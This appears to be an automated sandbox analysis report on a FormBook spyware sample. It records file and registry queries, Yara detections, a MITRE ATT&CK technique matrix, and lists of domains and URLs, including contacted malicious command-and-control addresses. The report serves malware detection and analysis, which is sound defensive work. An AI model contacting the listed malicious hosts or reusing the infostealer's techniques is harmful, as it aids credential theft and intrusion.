Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\GLECB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\GIL_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\GILI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\GILB____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\GILBI___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\GILC____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\GLSNECB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\GIGI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\FRABK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\FRABKIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\FORTE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\FELIXTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\ERASMD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\ERASLGHT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\ERASDEMI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\ERASBD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\ENGR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\ELEPHNT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\ELEPHNTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\ITCEDSCR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\CURLZ___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\COPRGTL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\COPRGTB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\CENSCBK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\SCHLBKI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\SCHLBKB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\SCHLBKBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\CASTELAR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\CALIST.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\CALISTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\CALISTB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\CALISTBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\BOOKOS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\BOOKOSB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\BOOKOSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\BOOKOSBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\BOD_R.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\BOD_I.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\BOD_B.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\BOD_BI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\BOD_CR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\BOD_CI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\BOD_CB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\BOD_CBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\ITCBLKAD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\ARLRDBD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\AGENCYB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\BSSYM7.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\REFSAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\REFSPCL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\MTEXTRA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\marlett.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\segoeuii.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Fonts\segoeuiz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe	Code function: GetSystemTime,SystemTimeToFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,GetLocaleInfoW,memmove,GetTimeFormatW,	23_2_008796A0
Source: C:\Windows\SysWOW64\cmd.exe	Code function: GetSystemTime,SystemTimeToFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,GetLocaleInfoW,GetDateFormatW,memmove,GetDateFormatW,realloc,GetDateFormatW,memmove,GetLastError,GetLastError,realloc,	23_2_00875AEF
Source: C:\Windows\SysWOW64\cmd.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,setlocale,	23_2_00883F80

Source: C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

Code function: 23_2_00893CC7 _get_osfhandle,GetLocalTime,SetLocalTime,SetLocalTime,GetLastError,GetLastError,

23_2_00893CC7

Source: C:\Windows\SysWOW64\cmd.exe

Code function: 23_2_0087443C GetVersion,

23_2_0087443C

Stealing of Sensitive Information:

Yara detected FormBook

Show sources

Source: Yara match	File source: 6.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.TPJX2QwEdXs5sTV.exe.4175e30.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.RegSvcs.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000000.342627286.000000000E077000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.514970004.0000000002D90000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.390262569.00000000009D0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.512368731.0000000000940000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000000.321761934.000000000E077000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.389976608.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.513972990.00000000029D0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.282361714.0000000003FA9000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.390330954.0000000000A20000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.282500066.000000000409E000.00000004.00000001.sdmp, type: MEMORY

Remote Access Functionality:

Yara detected FormBook

Show sources

Source: Yara match	File source: 6.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.TPJX2QwEdXs5sTV.exe.4175e30.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.RegSvcs.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000000.342627286.000000000E077000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.514970004.0000000002D90000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.390262569.00000000009D0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.512368731.0000000000940000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000000.321761934.000000000E077000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.389976608.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.513972990.00000000029D0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.282361714.0000000003FA9000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.390330954.0000000000A20000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.282500066.000000000409E000.00000004.00000001.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts1	Shared Modules1	Valid Accounts1	Valid Accounts1	Masquerading1	Input Capture1	System Time Discovery1	Remote Services	Input Capture1	Exfiltration Over Other Network Medium	Encrypted Channel1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Access Token Manipulation1	Valid Accounts1	LSASS Memory	Security Software Discovery241	Remote Desktop Protocol	Archive Collected Data11	Exfiltration Over Bluetooth	Ingress Tool Transfer1	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Process Injection712	Access Token Manipulation1	Security Account Manager	Process Discovery2	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Non-Application Layer Protocol2	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Disable or Modify Tools1	NTDS	Virtualization/Sandbox Evasion31	Distributed Component Object Model	Input Capture	Scheduled Transfer	Application Layer Protocol12	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Virtualization/Sandbox Evasion31	LSA Secrets	Remote System Discovery1	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Process Injection712	Cached Domain Credentials	File and Directory Discovery1	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Deobfuscate/Decode Files or Information11	DCSync	System Information Discovery125	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Obfuscated Files or Information4	Proc Filesystem	Network Service Scanning	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	Software Packing13	/etc/passwd and /etc/shadow	System Network Connections Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
TPJX2QwEdXs5sTV.exe	18%	ReversingLabs	ByteCode-MSIL.Spyware.Noon

Dropped Files

No Antivirus matches

Unpacked PE Files

Source	Detection	Scanner	Label	Link	Download
6.2.RegSvcs.exe.400000.0.unpack	100%	Avira	TR/Crypt.ZPACK.Gen		Download File

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://www.zhongyicts.com.cnue	0%	URL Reputation	safe
http://www.carterandcone.comTCd	0%	Avira URL Cloud	safe
http://www.carterandcone.comypoC	0%	Avira URL Cloud	safe
http://www.founder.com.cn/cn/bThe	0%	URL Reputation	safe
http://www.carterandcone.comak	0%	Avira URL Cloud	safe
http://www.carterandcone.com-se	0%	Avira URL Cloud	safe
http://www.carterandcone.com0	0%	Avira URL Cloud	safe
http://www.tiro.com	0%	URL Reputation	safe
http://www.zhongyicts.com.cn0	0%	Avira URL Cloud	safe
http://www.carterandcone.coml-g	0%	Avira URL Cloud	safe
http://www.goodfont.co.kr	0%	URL Reputation	safe
http://www.carterandcone.com	0%	URL Reputation	safe
http://www.carterandcone.com)	0%	Avira URL Cloud	safe
http://www.sajatypeworks.com	0%	URL Reputation	safe
http://www.typography.netD	0%	URL Reputation	safe
http://www.founder.com.cn/cn/cThe	0%	URL Reputation	safe
http://www.galapagosdesign.com/staff/dennis.htm	0%	URL Reputation	safe
http://fontfabrik.com	0%	URL Reputation	safe
http://www.carterandcone.com?	0%	Avira URL Cloud	safe
http://www.zhongyicts.com.cncom	0%	Avira URL Cloud	safe
http://www.carterandcone.comue	0%	URL Reputation	safe
http://www.carterandcone.comMic	0%	Avira URL Cloud	safe
http://www.goodfont.co.krV	0%	Avira URL Cloud	safe
http://www.galapagosdesign.com/DPlease	0%	URL Reputation	safe
http://www.carterandcone.como._	0%	Avira URL Cloud	safe
http://www.indianadogeavaxsite.site/t75f/?IL3h=sM7Ty9CQqazxDsp1L2wp1X0yz6j8iZQMubl0W4soZskD9oW6nOghj7d5yalvsy0iKmR0GSiRBw==&_hN0=5jFT8RbH3tHLZn	0%	Avira URL Cloud	safe
http://www.sandoll.co.kr	0%	URL Reputation	safe
http://www.urwpp.deDPlease	0%	URL Reputation	safe
http://www.carterandcone.coml-se	0%	Avira URL Cloud	safe
http://www.urwpp.de	0%	URL Reputation	safe
http://www.zhongyicts.com.cn	0%	URL Reputation	safe
http://fontfabrik.comj	0%	Avira URL Cloud	safe
http://www.sakkal.com	0%	URL Reputation	safe
http://www.goodfont.co.kr-cY	0%	Avira URL Cloud	safe
http://www.carterandcone.coma	0%	URL Reputation	safe
http://www.carterandcone.comexc	0%	URL Reputation	safe
http://www.tiro.comw	0%	Avira URL Cloud	safe
http://www.carterandcone.comd	0%	URL Reputation	safe
http://www.sajatypeworks.comt	0%	URL Reputation	safe
http://www.zhongyicts.com.cno.U	0%	Avira URL Cloud	safe
http://www.urwpp.deA	0%	Avira URL Cloud	safe
http://www.zhongyicts.com.cno.E	0%	Avira URL Cloud	safe
http://en.w	0%	URL Reputation	safe
http://www.sakkal.com9	0%	Avira URL Cloud	safe
http://www.carterandcone.coml	0%	URL Reputation	safe
http://www.zhongyicts.com.cnk	0%	Avira URL Cloud	safe
www.438451.com/t75f/	0%	Avira URL Cloud	safe
http://www.founder.com.cn/cn/	0%	URL Reputation	safe
http://www.carterandcone.comof	0%	Avira URL Cloud	safe
http://www.founder.com.cn/cn	0%	URL Reputation	safe
http://www.founder.com.cn/cn0	0%	URL Reputation	safe
http://www.sakkal.com3	0%	Avira URL Cloud	safe
http://www.founder.com.cn/cncom	0%	Avira URL Cloud	safe
http://www.monotype.	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/	0%	URL Reputation	safe
https://www.438451.com/t75f/?IL3h=1BeMm2dWByn9xv9J99R2XzKkk0MJMO8GKUMNYM3ZZNvYMz7ACarE0KIXHaUrAW4HLV	0%	Avira URL Cloud	safe
http://www.carterandcone.comona	0%	URL Reputation	safe
http://www.ascendercorp.com/typedesigners.htmlh	0%	Avira URL Cloud	safe
http://www.founder.com.cn/cnicr	0%	URL Reputation	safe
http://www.goodfont.co.kX	0%	Avira URL Cloud	safe
http://www.sandoll.co.kra-e#	0%	Avira URL Cloud	safe
http://www.founder.com.cn/cn(	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
www.munortiete.com	172.67.147.111	true	true	unknown
www.438451.com	160.202.170.147	true	true	unknown
domains.readymag.com	54.194.41.141	true	false	high
www.fanpaixiu.xyz	unknown	unknown	true	unknown
www.ice-lemon.pro	unknown	unknown	true	unknown
www.pierrot-bros.com	unknown	unknown	true	unknown
www.indianadogeavaxsite.site	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://www.indianadogeavaxsite.site/t75f/?IL3h=sM7Ty9CQqazxDsp1L2wp1X0yz6j8iZQMubl0W4soZskD9oW6nOghj7d5yalvsy0iKmR0GSiRBw==&_hN0=5jFT8RbH3tHLZn	true	Avira URL Cloud: safe	unknown
www.438451.com/t75f/	true	Avira URL Cloud: safe	low

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.fontbureau.com/designersH	TPJX2QwEdXs5sTV.exe, 00000001.00000003.256499107.0000000006041000.00000004.00000001.sdmp	false		high
http://www.zhongyicts.com.cnue	TPJX2QwEdXs5sTV.exe, 00000001.00000003.252145677.000000000603B000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designersG	TPJX2QwEdXs5sTV.exe, 00000001.00000002.284564270.0000000007232000.00000004.00000001.sdmp	false		high
http://www.carterandcone.comTCd	TPJX2QwEdXs5sTV.exe, 00000001.00000003.252658676.000000000603B000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fontbureau.com/designers/?	TPJX2QwEdXs5sTV.exe, 00000001.00000002.284564270.0000000007232000.00000004.00000001.sdmp	false		high
http://www.carterandcone.comypoC	TPJX2QwEdXs5sTV.exe, 00000001.00000003.252876215.000000000603B000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.founder.com.cn/cn/bThe	TPJX2QwEdXs5sTV.exe, 00000001.00000002.284564270.0000000007232000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers?	TPJX2QwEdXs5sTV.exe, 00000001.00000002.284564270.0000000007232000.00000004.00000001.sdmp	false		high
http://www.fontbureau.com/designersD	TPJX2QwEdXs5sTV.exe, 00000001.00000003.259100620.000000000603B000.00000004.00000001.sdmp	false		high
http://www.carterandcone.comak	TPJX2QwEdXs5sTV.exe, 00000001.00000003.252394694.000000000603B000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.carterandcone.com-se	TPJX2QwEdXs5sTV.exe, 00000001.00000003.252658676.000000000603B000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.carterandcone.com0	TPJX2QwEdXs5sTV.exe, 00000001.00000003.252524764.000000000603B000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.tiro.com	TPJX2QwEdXs5sTV.exe, 00000001.00000002.284564270.0000000007232000.00000004.00000001.sdmp, TPJX2QwEdXs5sTV.exe, 00000001.00000003.252797134.000000000603B000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.zhongyicts.com.cn0	TPJX2QwEdXs5sTV.exe, 00000001.00000003.252145677.000000000603B000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.carterandcone.coml-g	TPJX2QwEdXs5sTV.exe, 00000001.00000003.252524764.000000000603B000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fontbureau.com/designers	TPJX2QwEdXs5sTV.exe, 00000001.00000002.284564270.0000000007232000.00000004.00000001.sdmp, TPJX2QwEdXs5sTV.exe, 00000001.00000003.257664415.0000000006041000.00000004.00000001.sdmp, TPJX2QwEdXs5sTV.exe, 00000001.00000003.257568508.0000000006041000.00000004.00000001.sdmp	false		high
http://www.fontbureau.com/designers0.	TPJX2QwEdXs5sTV.exe, 00000001.00000003.258749887.000000000603B000.00000004.00000001.sdmp	false		high
http://www.goodfont.co.kr	TPJX2QwEdXs5sTV.exe, 00000001.00000002.284564270.0000000007232000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.carterandcone.com	TPJX2QwEdXs5sTV.exe, 00000001.00000003.252524764.000000000603B000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.carterandcone.com)	TPJX2QwEdXs5sTV.exe, 00000001.00000003.252313565.000000000603B000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	low
http://www.sajatypeworks.com	TPJX2QwEdXs5sTV.exe, 00000001.00000003.245363117.0000000006022000.00000004.00000001.sdmp, TPJX2QwEdXs5sTV.exe, 00000001.00000002.284564270.0000000007232000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.typography.netD	TPJX2QwEdXs5sTV.exe, 00000001.00000002.284564270.0000000007232000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.founder.com.cn/cn/cThe	TPJX2QwEdXs5sTV.exe, 00000001.00000002.284564270.0000000007232000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.galapagosdesign.com/staff/dennis.htm	TPJX2QwEdXs5sTV.exe, 00000001.00000003.262778713.000000000603B000.00000004.00000001.sdmp, TPJX2QwEdXs5sTV.exe, 00000001.00000003.260576945.000000000603B000.00000004.00000001.sdmp, TPJX2QwEdXs5sTV.exe, 00000001.00000002.284564270.0000000007232000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://fontfabrik.com	TPJX2QwEdXs5sTV.exe, 00000001.00000003.246382239.000000000603B000.00000004.00000001.sdmp, TPJX2QwEdXs5sTV.exe, 00000001.00000002.284564270.0000000007232000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.carterandcone.com?	TPJX2QwEdXs5sTV.exe, 00000001.00000003.252560675.000000000603B000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.zhongyicts.com.cncom	TPJX2QwEdXs5sTV.exe, 00000001.00000003.252145677.000000000603B000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.carterandcone.comue	TPJX2QwEdXs5sTV.exe, 00000001.00000003.252524764.000000000603B000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.carterandcone.comMic	TPJX2QwEdXs5sTV.exe, 00000001.00000003.252833728.000000000603B000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.goodfont.co.krV	TPJX2QwEdXs5sTV.exe, 00000001.00000003.250819017.000000000603B000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.galapagosdesign.com/DPlease	TPJX2QwEdXs5sTV.exe, 00000001.00000002.284564270.0000000007232000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.carterandcone.como._	TPJX2QwEdXs5sTV.exe, 00000001.00000003.252524764.000000000603B000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	low
http://www.fontbureau.com/designers/0	TPJX2QwEdXs5sTV.exe, 00000001.00000003.256690000.0000000006041000.00000004.00000001.sdmp	false		high
http://www.fonts.com	TPJX2QwEdXs5sTV.exe, 00000001.00000002.284564270.0000000007232000.00000004.00000001.sdmp	false		high
http://www.sandoll.co.kr	TPJX2QwEdXs5sTV.exe, 00000001.00000002.284564270.0000000007232000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.urwpp.deDPlease	TPJX2QwEdXs5sTV.exe, 00000001.00000002.284564270.0000000007232000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.carterandcone.coml-se	TPJX2QwEdXs5sTV.exe, 00000001.00000003.252560675.000000000603B000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.urwpp.de	TPJX2QwEdXs5sTV.exe, 00000001.00000003.259240750.0000000006047000.00000004.00000001.sdmp, TPJX2QwEdXs5sTV.exe, 00000001.00000003.256166829.0000000006041000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.zhongyicts.com.cn	TPJX2QwEdXs5sTV.exe, 00000001.00000002.284564270.0000000007232000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://fontfabrik.comj	TPJX2QwEdXs5sTV.exe, 00000001.00000003.246270583.000000000603B000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.sakkal.com	TPJX2QwEdXs5sTV.exe, 00000001.00000002.284564270.0000000007232000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.goodfont.co.kr-cY	TPJX2QwEdXs5sTV.exe, 00000001.00000003.250685229.000000000603B000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.autoitscript.com/autoit3/J	explorer.exe, 00000008.00000000.308790689.0000000006870000.00000004.00000001.sdmp	false		high
